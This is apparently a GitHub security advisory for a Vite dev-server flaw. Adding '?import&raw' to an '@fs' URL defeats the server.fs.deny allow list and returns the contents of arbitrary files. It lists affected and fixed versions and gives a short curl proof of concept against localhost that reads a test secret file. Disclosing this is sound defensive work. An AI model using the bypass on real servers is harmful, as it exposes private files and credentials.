GHSA-9cwx-2883-4wfx Vite's `server.fs.deny` is bypassed when using `?import&raw`

• npm vite: >= 5.4.0, < 5.4.6 → fixed in 5.4.6 • npm vite: >= 5.3.0, < 5.3.6 → fixed in 5.3.6 • npm vite: >= 5.2.0, < 5.2.14 → fixed in 5.2.14 • npm vite: >= 4.0.0, < 4.5.4 → fixed in 4.5.4 • npm vite: < 3.2.11 → fixed in 3.2.11 • npm vite: >= 5.0.0, < 5.1.8 → fixed in 5.1.8

Summary The contents of arbitrary files can be returned to the browser. Details `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. PoC ```sh $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" 403 Restricted The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list. security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```